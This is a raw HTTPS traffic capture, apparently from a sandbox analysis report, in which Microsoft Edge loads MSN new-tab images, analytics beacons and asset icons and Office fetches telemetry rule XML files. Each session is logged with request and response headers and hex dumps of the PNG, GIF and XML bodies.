2024-11-23 01:55:46 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:47 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=215980 Expires: Mon, 25 Nov 2024 13:55:27 GMT Date: Sat, 23 Nov 2024 01:55:47 GMT Connection: close
2024-11-23 01:55:47 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49912	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:47 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=101909 Expires: Sun, 24 Nov 2024 06:14:16 GMT Date: Sat, 23 Nov 2024 01:55:47 GMT Connection: close
2024-11-23 01:55:47 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49914	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:47 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=300705 Expires: Tue, 26 Nov 2024 13:27:32 GMT Date: Sat, 23 Nov 2024 01:55:47 GMT Connection: close
2024-11-23 01:55:47 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49915	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:47 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=199309 Expires: Mon, 25 Nov 2024 09:17:36 GMT Date: Sat, 23 Nov 2024 01:55:47 GMT Connection: close
2024-11-23 01:55:47 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49916	18.164.96.83	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	1012	OUT	GET /b2?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B2b9508a5e511492384f711732326945; XID=1B2b9508a5e511492384f711732326945
2024-11-23 01:55:47 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 01:55:47 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a1546fc751225809c39b89ba9e8d715c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: Lp3psyE3RE3Fh9Le8e6ZXyHnIB3XbV6rblOPefx4o3__mcNx26D3TQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:47 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015547Z-178bfbc474bp8mkvhC1NYCzqnn00000003qg0000000059f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:47 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49918	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:48 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:47 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ba0503ac-c01e-0053-172a-3d7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015547Z-178bfbc474bvjk8shC1NYC83ns00000003p000000000bd46 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:48 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49919	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:48 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:47 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015547Z-174c587ffdf6b487hC1TEBydsn0000000270000000008udg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:48 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015547Z-178bfbc474bbcwv4hC1NYCypys00000003p000000000bh8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49921	20.110.205.119	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	1261	OUT	GET /c.gif?rnd=1732326943674&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=44bec5a9ac3b4389aca2fc3068f89e90&activityId=44bec5a9ac3b4389aca2fc3068f89e90&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EB70C8CDD82D4E85A6BBD7A85F5931A5&MUID=25272F1794486D883F453A57953A6C20 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1; SM=T
2024-11-23 01:55:48 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=25272F1794486D883F453A57953A6C20; domain=.msn.com; expires=Thu, 18-Dec-2025 01:55:47 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=25272F1794486D883F453A57953A6C20; domain=c.msn.com; expires=Thu, 18-Dec-2025 01:55:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 30-Nov-2024 01:55:47 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 02:05:47 GMT; path=/; SameSite=None; Secure; Date: Sat, 23 Nov 2024 01:55:47 GMT Connection: close Content-Length: 42
2024-11-23 01:55:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:47 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015548Z-178bfbc474bnwsh4hC1NYC2ubs00000003s000000000rbtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
